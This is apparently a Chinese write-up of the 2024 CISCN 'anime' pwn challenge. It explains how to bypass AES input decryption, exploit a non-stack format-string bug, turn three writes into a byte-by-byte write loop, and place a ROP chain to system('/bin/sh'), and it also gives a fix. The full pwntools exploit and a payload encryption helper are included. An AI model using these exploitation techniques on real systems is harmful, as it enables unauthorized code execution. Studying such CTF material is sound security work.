有限次非栈上格式化改条件扩充循环写

题目是 2024 年 ciscn 的 anime。

这题表面上是一个只有三次输入机会的格式化字符串题,但真正有意思的地方在于:

  1. 输入不是直接喂给 printf,而是先经过一次 AES 解密。
  2. 解密后的内容不在栈上,而是落在 .bss 上。
  3. 程序只给三次机会,所以不能按常规格式化那样慢慢试偏移、慢慢写。
  4. 如果想做成稳定利用,最后还得把“三次机会”扩成“可循环多次写”。

所以这题更像是一个组合题:AES 单块输入约束 + 非栈上格式化 + 有限次写 + 最终 ROP。

下载链接

通过网盘分享的文件:anime_66a263c1bf97ffad987da7340a879abd.zip
链接:
https://pan.baidu.com/s/1ny1RNh2I39ic1A3AD6nDKQ?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员 v4 的分享

题目核心

核心的部分如下,一共有三次机会:

  for ( n3 = 3; n3 > 0; --n3 )
  {
    printf("Now, you have %d times to tell me what is your favourite anime!\nwhat's your favourite anime: ", n3);
    format = (char *)readline();
    printf("your like ");
    printf(format);
    puts("!?\nI like it too!");
  }

这里一眼就能看出漏洞点:

printf(format);

format 完全可控,而且没有使用固定格式串,所以天然就是格式化字符串漏洞。

不过这题和普通格式化不一样的点在于,format 不是直接从标准输入读出来的明文,而是先走了一层 readline()。

明文最终落点

从 readline() 来看,程序先读入密文,再解密,把结果写到另一个全局缓冲区中:

void *readline()
{
  memset(ciphertext_password, 0, 0x40u);
  memset(decrypted_password, 0, 0x100u);
  read(0, ciphertext_password, 0x40u);
  aes_decrypt((__int64)ciphertext_password, (__int64)decrypted_password, (__int64)&aes_key);
  return decrypted_password;
}

这里要注意两件事:

  • ciphertext_password 和 decrypted_password 看起来都是全局区对象,所以数据不是落在栈上,而是 .bss 一类的区域。
  • printf 最终吃到的是 decrypted_password,也就是解密后的明文。

这就是“非栈上格式化”的来源:格式串本身不在栈上,但 printf 取参数时仍然会从当前调用现场的栈里拿变参,所以泄露和写地址仍然成立,只是利用方式跟直接把 payload 放栈上的题会有些差别。

为什么要先绕过 AES

这里需要先绕过一下加密。

我们简单来分析一下:

unsigned __int64 __fastcall aes_decrypt(__int64 ciphertext_password, __int64 decrypted_password, __int64 p_aes_key)
{
  _QWORD v4[31]; // [rsp+20h] [rbp-100h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  AES_set_decrypt_key(p_aes_key, 128, v4);
  AES_decrypt(ciphertext_password, decrypted_password, v4);
  return __readfsqword(0x28u) ^ v5;
}

这里真正关键的是这一句:

AES_decrypt(ciphertext_password, decrypted_password, v4);

这个接口本身就是“解一个 16 字节块”。

也就是说,虽然前面 read(0, ciphertext_password, 0x40u); 看起来读了 0x40 字节,但这里真正参与解密、最终影响 printf(format) 的,只有第一个 AES block,也就是前 16 字节。

这个限制非常重要,因为它直接决定了我们的 payload 不能乱写很长,而要尽量把格式串压进 16 字节内。你后面脚本里专门写了 pad_block() 和 encrypt_block(),本质上就是为了适配这个单块模型。

AES key 的来源

这里的第三个参数就是密钥:

.rodata:0000000000002010 aes_key         dq 5E5D479CD65CF37Bh    ; DATA XREF: readline+61↑o
.rodata:0000000000002018                 db  6Fh ; o
.rodata:0000000000002019                 db  1Dh
.rodata:000000000000201A                 db  7Ah ; z
.rodata:000000000000201B                 db  23h ; #
.rodata:000000000000201C                 db  18h
.rodata:000000000000201D                 db  7Bh ; {
.rodata:000000000000201E                 db 0F9h
.rodata:000000000000201F                 db  34h ; 4

把它按小端拼起来以后,就是:

KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")

这一点和你后面辅助脚本里的写法正好对应上。

这里可以这么理解:

  • 程序视角:它认为自己是在“解密用户输入”。
  • 利用者视角:因为 key 已知,所以我们完全可以先把自己想要的明文格式串算出来,再离线加密成密文发给程序。

换句话说,程序的 AES 并没有阻止利用,只是把“直接输入 payload”变成了“先本地加密,再把密文送进去”。

本地辅助脚本的意义

我们写一个文件,里面放上需要的几个函数:

#!/usr/bin/env python3
import argparse
import sys

from Crypto.Cipher import AES


KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")
BLOCK_SIZE = 16


def pad_block(data: bytes) -> bytes:
    if len(data) > BLOCK_SIZE:
        raise ValueError(f"plaintext too long: {len(data)} bytes, max {BLOCK_SIZE}")
    return data.ljust(BLOCK_SIZE, b"\x00")


def encrypt_block(plain: bytes) -> bytes:
    aes = AES.new(KEY, AES.MODE_ECB)
    return aes.encrypt(pad_block(plain))



def parse_bytes(value: str, mode: str) -> bytes:
    if mode == "text":
        return value.encode()
    if mode == "hex":
        return bytes.fromhex(value)
    raise ValueError(f"unsupported mode: {mode}")

这个脚本的作用其实非常明确:

  • pad_block():把明文补到 16 字节。
  • encrypt_block():把我们想要的格式串明文转成程序能接受的密文。
  • parse_bytes():方便手动切换文本输入和十六进制输入。

后面 exp 里的 mydecode() 其实就是把这个流程再包一层,让每次发包的时候直接把明文格式串写出来,不用手工算密文。

fix

这里的话把:

printf(format);

改成:

puts(format)

即可。

如果想写得更严谨一点,其实也可以改成:

printf("%s", format);

这样能保持原本“打印字符串”的语义,同时不会把用户输入当成格式串解析。

这里我们实际上选择使用 assemble,直接在 patch 的位置把调用改掉就行。

这里修改点击回车符就可以完成修改了。

break

刚刚我们做的是修漏洞,这里开始看利用。

这题如果只把它当成一个“一次性格式化”去看,会比较容易卡住,因为它有两个明显限制:

  1. payload 明文只有 16 字节有效。
  2. 输入次数只有 3 次。

所以这题的关键不只是“找到格式化偏移”,而是要思考怎样把这 3 次机会用成一个完整链条。

我觉得可以把利用拆成下面几个阶段:

  1. 第一次:泄露关键地址,拿到 libc 和栈信息。
  2. 第二次:改某个指针或栈槽,把后续写原语搭起来。
  3. 第三次:进一步把有限次输入扩展成一个可重复使用的写流程。
  4. 后续:借助扩出来的循环,按字节把 ROP 链写到返回地址附近。

你原文标题里“改条件扩充循环写”,本质上就是第 3 步:不是直接靠三次机会完成所有写,而是先改程序状态,让程序继续进入同一个输入逻辑,从而把有限次写变成多次写。

为什么说这是非栈上格式化

刚刚我们做了一个栈上一次性格式化,这里我们做一下非栈上的格式化。

这里“非栈上”不是说不能打栈,而是说:

  • 格式串本体在 .bss 上。
  • 但 printf 解析 %15$p、%19$hn 这类位置参数时,仍然会去当前调用现场的栈上找对应的参数槽。

所以这类题常见套路是:

  • 先通过 %p 找到若干栈槽里保存的地址。
  • 再挑一个能间接控制的“指针槽”,把它改成目标地址。
  • 之后通过 %n/%hn/%hhn 完成任意地址写。

也就是说,格式串不在栈上,不影响“借栈作为跳板”这件事。

为什么不直接 one_gadget

后面的话我们一开始选择打 ogg:

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

思路的话就是改返回地址为 ogg,我们在这个位置上打断点进行尝试。

之前没安装上的 onegadget 这次安装上了,安装教程可以最后再补。

我们断点在 printf 的这个函数位置 0x15CB。

这里一开始会自然想到:

  • 第一次泄露。
  • 第二次写栈。
  • 第三次直接把返回地址改成 one_gadget。

但是这个方向不一定最稳,原因主要有两个:

  1. one_gadget 约束经常比较苛刻,寄存器条件不一定满足。
  2. 这里你观察到返回地址更偏向 elf 侧,而不是一个现成的 libc 返回点,直接一把梭改 ogg 不一定顺手。

所以后面换成 ROP 链是更稳的做法:

  • 条件可控。
  • 行为更容易调试。
  • 即使只能按字节慢慢写,也能稳定落地。

利用主线整理

这一题的利用主线,我觉得可以概括成下面一句话:

先用一次短格式串拿泄露,再把一个现成的栈槽改造成“指针跳板”,最后通过循环把 ROP 链按字节写到返回地址处。

这句话对应你脚本里的几个函数,基本就是:

  • pwn1():泄露。
  • pwn2():改第一层指针。
  • pwn3():改第二层写入落点,或者改循环条件,为后续 byte write 铺路。
  • rop():真正开始批量写 ROP。

exp 如下

最终 exp 如下:

from pwn import * # type: ignore

from exp import encrypt_block, parse_bytes


context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

PROMPT = b"what's your favourite anime: "
PTR_SLOT = 19
WRITE_SLOT = 49
ONE_GADGET = 0xE3AFE


def mydecode(data, input_mode="text"):
    if isinstance(data, (bytes, bytearray)):
        plain = bytes(data)
    else:
        plain = parse_bytes(data, input_mode)
    return encrypt_block(plain)


def pwn1():
    pd = b'%15$p%19$p'
    #pd = b'%p'
    return mydecode(pd)

def pwn2():
    global stack,lib
    pd = b'%' + f"{(stack-0x2c)&0xffff}".encode() + b'c%' + str(PTR_SLOT).encode() + b'$hn'
    return mydecode(pd)

def pwn3():
    global stack,lib

    pd = b'%' + f"{(stack)&0xffff}".encode() + b'c%' + str(WRITE_SLOT).encode() + b'$hn'
    return mydecode(pd)

def rop():
    global stack,lib
    libc = ELF("./libc.so.6")
    pop_rdi = lib + 0x0000000000023b6a
    ret    = lib + 0x0000000000022679
    system = lib + libc.symbols["system"]
    binsh  = lib + next(libc.search(b"/bin/sh\x00"))
    stack_ret = stack + 0x8
    print("stack_ret =====>",hex(stack_ret))
    pause()
    data = flat(pop_rdi, binsh, ret, system)
    for i in range(len(data)):
        pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"
        pay = pay.encode()
        io.recvuntil("what's your favourite anime: ")
        io.send(mydecode(pay))
    
        pd = data[i]
        if(pd==0):
            pay = f"%49$hhn\x00"
        else:
            pay = f"%{pd}c%49$hhn\x00"
        pay = pay.encode()
        io.recvuntil("what's your favourite anime: ")
        io.send(mydecode(pay))
def main():
    global io,stack,lib
    io = process("./pwn")
    #gdb.attach(io,"b *$rebase(0x15CB)")
    io.recvuntil(b"linsir want to know your name\n")
    io.sendline(b"ziran")
    io.recvuntil(b"what's your favourite anime: ")
    pd = pwn1()
    io.send(pd)
    io.recvuntil(b"0x")
    lib = int(io.recv(12), 16) -  0x29d90
    io.recvuntil(b"0x")
    stack = int(io.recv(12), 16) - 0x100 - 0x18 #-0x8的话是rbp的地址
    print(f"libc: {hex(lib)}")
    print(f"stack: {hex(stack)}")
    pause()
    io.recvuntil("what's your favourite anime: ")
    pd = pwn2()
    #pause()
    io.send(pd)
    io.recvuntil("what's your favourite anime: ")
    pd = pwn3()
    io.send(pd)
    #gdb.attach(io,"b *$rebase(0x15E0)")
    gdb.attach(io,"b *$rebase(0x15CB)")
    rop()



if __name__ == "__main__":
    main()
    io.interactive() # type: ignore

exp 分块解释

1. mydecode()

def mydecode(data, input_mode="text"):
    if isinstance(data, (bytes, bytearray)):
        plain = bytes(data)
    else:
        plain = parse_bytes(data, input_mode)
    return encrypt_block(plain)

这一层主要是为了统一发送接口。

你后面所有 pwn1/pwn2/pwn3/rop 构造出来的其实都是“明文格式串”,而程序真正要吃的是 AES 密文,所以统一在这里做一次转换,后面写 exp 时就会顺手很多。

2. pwn1():先泄露

def pwn1():
    pd = b'%15$p%19$p'
    return mydecode(pd)

这一发很关键,它一口气做了两件事:

  • 用 %15$p 泄露一个 libc 相关地址。
  • 用 %19$p 泄露一个栈相关地址。

后面主程序里:

lib = int(io.recv(12), 16) -  0x29d90
stack = int(io.recv(12), 16) - 0x100 - 0x18

说明你已经提前通过调试确认了:

  • 第一个泄露减掉 0x29d90 能回到 libc base。
  • 第二个泄露减掉 0x100 + 0x18 能定位到后面要利用的栈区域。

这一步做完以后,后面所有写地址动作才有坐标。

3. pwn2():先改跳板指针

def pwn2():
    global stack,lib
    pd = b'%' + f"{(stack-0x2c)&0xffff}".encode() + b'c%' + str(PTR_SLOT).encode() + b'$hn'
    return mydecode(pd)

这里用的是 %hn,也就是 2 字节写。

PTR_SLOT = 19 说明你选中了第 19 个参数槽,把它当成“第一层可控指针”来使用。

从脚本效果上看,这一步的目的可以理解成:

  • 先把某个已有指针的低两字节改掉。
  • 让它指向我们后面真正想操作的栈位置附近。

因为格式化题里最常见的一种打法就是:

  • 手头没有直接任意地址写。
  • 但是栈上碰巧有一个“指向别处的指针”。
  • 先改这个指针,再借它去写真正目标。

这里的 stack - 0x2c 就是这类“搭桥”动作的体现。

4. pwn3():把写原语落到目标区域

def pwn3():
    global stack,lib

    pd = b'%' + f"{(stack)&0xffff}".encode() + b'c%' + str(WRITE_SLOT).encode() + b'$hn'
    return mydecode(pd)

这一步和 pwn2() 是配套的。

WRITE_SLOT = 49 说明第 49 个参数槽也是可利用资源。结合 rop() 里的后续写法来看,这一步的实际效果可以理解为:

  • 把另外一个写槽重新定向到目标栈位置。
  • 让 %49$hhn 之后变成一个可以对目标地址逐字节写入的原语。

也就是说,pwn2() 和 pwn3() 不是各写一个“最终地址”就结束,而是在搭一个“两级指针写”的结构:

  • %19$hn 负责改“写针头指向哪里”。
  • %49$hhn 负责往“针头当前指向的位置”写一个字节。

到了这里,整个利用就从“只有三次机会”切换成了“已经能继续反复写返回地址附近的内容”。

5. rop():按字节写 ROP

def rop():
    global stack,lib
    libc = ELF("./libc.so.6")
    pop_rdi = lib + 0x0000000000023b6a
    ret    = lib + 0x0000000000022679
    system = lib + libc.symbols["system"]
    binsh  = lib + next(libc.search(b"/bin/sh\x00"))
    stack_ret = stack + 0x8
    print("stack_ret =====>",hex(stack_ret))
    pause()
    data = flat(pop_rdi, binsh, ret, system)
    for i in range(len(data)):
        pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"
        pay = pay.encode()
        io.recvuntil("what's your favourite anime: ")
        io.send(mydecode(pay))
    
        pd = data[i]
        if(pd==0):
            pay = f"%49$hhn\x00"
        else:
            pay = f"%{pd}c%49$hhn\x00"
        pay = pay.encode()
        io.recvuntil("what's your favourite anime: ")
        io.send(mydecode(pay))

这一段是全文最值得展开讲的地方。

这里不是一次性把整条 ROP 打进去,而是“按字节写入”:

第一步:用 %19$hn 设置当前写地址

pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"

意思是:

  • 先打印足够多字符,让当前计数器变成 (stack_ret + i) & 0xffff。
  • 然后通过 %19$hn 把这个 2 字节值写到“指针跳板”里。
  • 于是当前写指针就被拨到 stack_ret + i 这个字节位置。

第二步:用 %49$hhn 写入实际字节

pd = data[i]
if(pd==0):
    pay = f"%49$hhn\x00"
else:
    pay = f"%{pd}c%49$hhn\x00"

意思是:

  • 如果当前要写的字节是 0,直接 %49$hhn,把当前输出长度 0 写进去。
  • 否则先输出 pd 个字符,再 %49$hhn,把低 1 字节写成目标值。

于是两个原语组合起来就变成了:

  1. %19$hn 控制“写到哪里”。
  2. %49$hhn 控制“写成什么值”。

这就是非常标准的“半字改指针 + 单字节落值”的打法。

第一个文件的函数定义

第一个文件的函数定义如下:

#!/usr/bin/env python3
import argparse
import sys

from Crypto.Cipher import AES


KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")
BLOCK_SIZE = 16


def pad_block(data: bytes) -> bytes:
    if len(data) > BLOCK_SIZE:
        raise ValueError(f"plaintext too long: {len(data)} bytes, max {BLOCK_SIZE}")
    return data.ljust(BLOCK_SIZE, b"\x00")


def encrypt_block(plain: bytes) -> bytes:
    aes = AES.new(KEY, AES.MODE_ECB)
    return aes.encrypt(pad_block(plain))



def parse_bytes(value: str, mode: str) -> bytes:
    if mode == "text":
        return value.encode()
    if mode == "hex":
        return bytes.fromhex(value)
    raise ValueError(f"unsupported mode: {mode}")